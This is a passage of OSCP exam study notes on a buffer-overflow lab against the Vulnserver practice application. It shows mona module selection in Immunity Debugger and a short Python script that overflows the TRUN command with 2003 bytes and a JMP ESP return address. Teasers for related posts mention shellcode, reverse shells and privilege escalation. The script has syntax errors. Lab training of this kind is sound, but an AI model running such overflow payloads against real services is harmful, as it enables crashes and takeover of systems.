OSCP Learning Notes - Buffer Overflows(4)
Finding the Right Module(mona)
Mona Module Project website: https://github.com/corelan/mona
1. Download mona.py, and drop it into the 'OyCommands' file.

2. Open the vulnserver and Immnity Debugger and attach the vulnserver.
3. Execute mona modules



625011af
Set the stop point on "625011af"

Then run the immunity debugger.
4. Write the following Python test script, and perfom it on Kali Linux.
#!/usr/bin/python
import socket
import sys shellcode = "A" * 2003 + "\xaf\x11\x50\x62" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:
connect = s.connect(('10.0.0.XX',9999))
s.send(('TRUN /.:/' + shellcode))
except:
print "check debugger"
s.close()
5. The vulnserver is crashed,

OSCP Learning Notes - Buffer Overflows(4)的更多相关文章
- OSCP Learning Notes - Buffer Overflows(1)
		Introduction to Buffer Overflows Anatomy of Memory Anatomy of the Stack Fuzzing Tools: Vulnserver - ... 
- OSCP Learning Notes - Buffer Overflows(3)
		Finding Bad Characters 1. Find the bad charaters in the following website: https://bulbsecurity.com/ ... 
- OSCP Learning Notes - Buffer Overflows(2)
		Finding the Offset 1. Use the Metasploite pattern_create.rb tool to create 5900 characters. /usr/sha ... 
- OSCP Learning Notes - Buffer Overflows(5)
		Generating Shellcode & Gaining Root 1.Generate the shellcode on Kali Linux. LHOST is the IP of K ... 
- OSCP Learning Notes - Overview
		Prerequisites: Knowledge of scripting languages(Bash/Pyhon) Understanding of basic networking concep ... 
- OSCP Learning Notes - Exploit(3)
		Modifying Shellcode 1. Search “vulnserver exploit code” on the Internet. Find the following website ... 
- OSCP Learning Notes - Post Exploitation(1)
		Linux Post Exploitation Target Sever: Kioptrix Level 1 1. Search the payloads types. msfvenom -l pay ... 
- OSCP Learning Notes - Privilege Escalation
		Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ... 
- OSCP Learning Notes - Netcat
		Introduction to Netcat Connecting va Listening Bind Shells Attacker connects to victim on listening ... 
随机推荐
- Java并发编程(05):悲观锁和乐观锁机制
			本文源码:GitHub·点这里 || GitEE·点这里 一.资源和加锁 1.场景描述 多线程并发访问同一个资源问题,假如线程A获取变量之后修改变量值,线程C在此时也获取变量值并且修改,两个线程同时并 ... 
- [cpp]C++中的析构函数
			C++中的析构函数 简介 析构函数(Destructors),是对象的成员函数,没有返回值也没有参数,且一个类只有一个析构函数,当对象被销毁的时候调用,被销毁通常有这么几个情况. 函数执行结束 程序执 ... 
- 05 . Prometheus监控Nginx
			List CentOS7.3 prometheus-2.2.1.linux-amd64.tar.gz nginx-module-vts 节点名 IP 软件版本 硬件 网络 说明 Prometheus ... 
- 一起玩转微服务(12)——揭密starter
			介绍 Spring Boot的starter主要用来简化依赖用的,对于企业级开发中的与第三方的集成,可以通过一段简单的配置来完成,这样开发人员无需再对包依赖的问题头疼.Spring Boot为我们提供 ... 
- 解决start.spring.io无法访问的情况
			将start.spring.io替换成下列网址 http://start.jetbrains.org.cn/ 或者----> 连接手机热点 因为绝大多数无法访问都是因为网络问题 
- Java笔试面试总结—try、catch、finally语句中有return 的各类情况
			前言 之前在刷笔试题和面试的时候经常会遇到或者被问到 try-catch-finally 语法块的执行顺序等问题,今天就抽空整理了一下这个知识点,然后记录下来. 正文 本篇文章主要是通过举例的方式来阐 ... 
- 入门大数据---Kylin搭建与应用
			由于Kylin官网已经是中文的了,而且写的很详细,这里就不再重述. 学习右转即可. 这里说个遇到的问题,当在Kylin使用SQL关键字时,要加上双引号,并且里面的内容要大写,这个和MySql有点区别需 ... 
- MongoDB快速入门教程 (4.3)
			4.3.Mongoose模块化 4.3.1.为什么要进行模块化拆分? 模块化拆分的目的是为了代码的复用,让整个项目的结构更加清晰,举个例子:当数据库中的集合变多的时候,例如有课程.订单.分类.教师等多 ... 
- 判断CString 字符串里面是否全部为数字
			//原理就是去除0-9的数字,判断去除数字后的字符串是否为空,如果为空,说明字符串全部都是为数字,否则得话,就不是. strOutTimeOnNum = strouttime.TrimLeft( _T ... 
- jQuery创建表格并实现删除
			利用jQuery创建一个简单的表格,并添加一个简单的删除按钮 <!DOCTYPE html> <html lang="en"> <head> & ... 
